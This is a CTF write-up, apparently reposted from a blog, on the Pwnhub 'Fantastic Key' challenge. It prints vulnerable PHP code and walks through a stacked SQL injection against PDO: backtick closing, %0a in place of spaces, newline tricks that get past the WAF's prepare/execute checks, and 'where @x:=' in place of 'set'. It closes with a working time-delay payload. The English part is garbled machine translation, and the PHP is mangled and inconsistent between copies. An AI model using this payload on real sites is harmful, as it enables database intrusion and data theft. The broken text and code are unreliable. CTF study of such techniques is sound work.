Pwnhub Fantastic Key- little summary

index.php

<? php 
error_reporting(0); include 'config.php'; $id = $_POST['i'] ? waf($_POST['i']) : rand(1, 8); $v = $_POST['v'] ? waf($_POST['v']) : 'anime'; $sql = "desc `acg_{$v}`"; if (!$conn - > query($sql)) { die('no such table'); } $sql = "SELECT * FROM acg_{$v} where id = '$id'"; $result = $conn - > query($sql); if (!$result) { die('error'); } foreach($result as $row) { print "<!-- $row[0] --> \t"; print "$row[1]<br><img src='img/$row[1].jpg' style='width:600px;'> <br>"; }

?>

config.php

<? php 
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn - > query('set names utf8');
 
function waf($s) {
    if (preg_match(
        "/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*||do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i", $s) !=
        false || strlen($ s) > 10000) die();
    return $s;
} 
?>

trick1:

Source in the PDO to use sql query, PDO has a feature that supports stacking statement. Then statement can be bound stack stacked prepare injection, where the parameters may include a rear end and i v, where id parameter can not certainly closed, since the single quotes filtered, and -, and # are also filtered, then certainly not comment can use. Can then use this parameter is the variable $ v, at which point it is reverse wrapped quoted, and at this time the wrapped waf anti quoted, may be used to close back quotes. And the latter may also be used a Backticks Backticks be closed, previously not known at this point, as shown below:

Then as shown above followed where clause is normally performed, it is impossible to return empty, it can be closed here.

Of course, here, test it follows directly added to the anti-quotes are also not affect the sql syntax, but no semantics impact.

 

Then this should be the first point.

trick2:

First test stack injection:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin`;select sleep(5);';
$result = $conn ->query($v);

但是题目这里虽然pdo支持堆叠,但是空格被过滤了,*也被过滤了,然而%没有被过滤,因此可以用%0a来代替空格,并且如果要用堆叠注入,那么set、prepare、from、execute,=肯定不能被过滤,这里set被过滤了,=可以用,from可以用,prepare和execute在用正则进行匹配时,用到了.,我们知道如果用.进行任意字符匹配,那么则不包括换行符,因此这里直接用prepare+%0aj即可绕过waf对该关键字的过滤,本地测试如下:

<?php
$a=urldecode('prepare%0aa');
function waf($s)
{
#echo $s;
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000){
echo "waf";}
        else{
        echo $s;
                }
}
waf($a);

 可以看到此时绕过了waf,所以prepare和execute都可以加上%0a来绕过,那么接下来还有一个trick就是waf里面过滤了set,然而我们知道堆叠注入需要使用set来指定execute要执行的sql语句,这里用到了where来替换set,然后取where所赋值的变量的值来进行执行。本地测试一下:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='select * from admin where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

 

 可以看到此时也已经成功延时了,说明用where来代替set的赋值是可行的,但是本地这里直接测试以下语句并没有成功延时:

<?php
$con = "mysql:host=localhost;port=3306;dbname=ctf";
$conn = new PDO($con, 'root', 'root');
$conn -> query('set names utf8');
$v='desc `admin` `where @x:=0x73656c65637420736c656570283329;prepare st from @x;execute st;`';
#$v='desc `admin`;select sleep(5);';
echo "123";
$result = $conn ->query($v);
echo "345";

我猜应该是版本的问题,但是我没时间测,有师傅测出来说一下。我的本地版本如下所示

但是到这里确定能用where来代替set了,那么题目中使用一下payload就能延时:

v=anime`%0a`where%0a@x:=0x73656c65637420736c656570283329;prepare%0ast%0afrom%0a@x;%0aexecute%0ast;&i=

其中16进制值是select sleep(5),延时成功后就能进而查表查找flag了

 

 

 

Guess you like

Origin www.cnblogs.com/wfzWebSecuity/p/12049920.html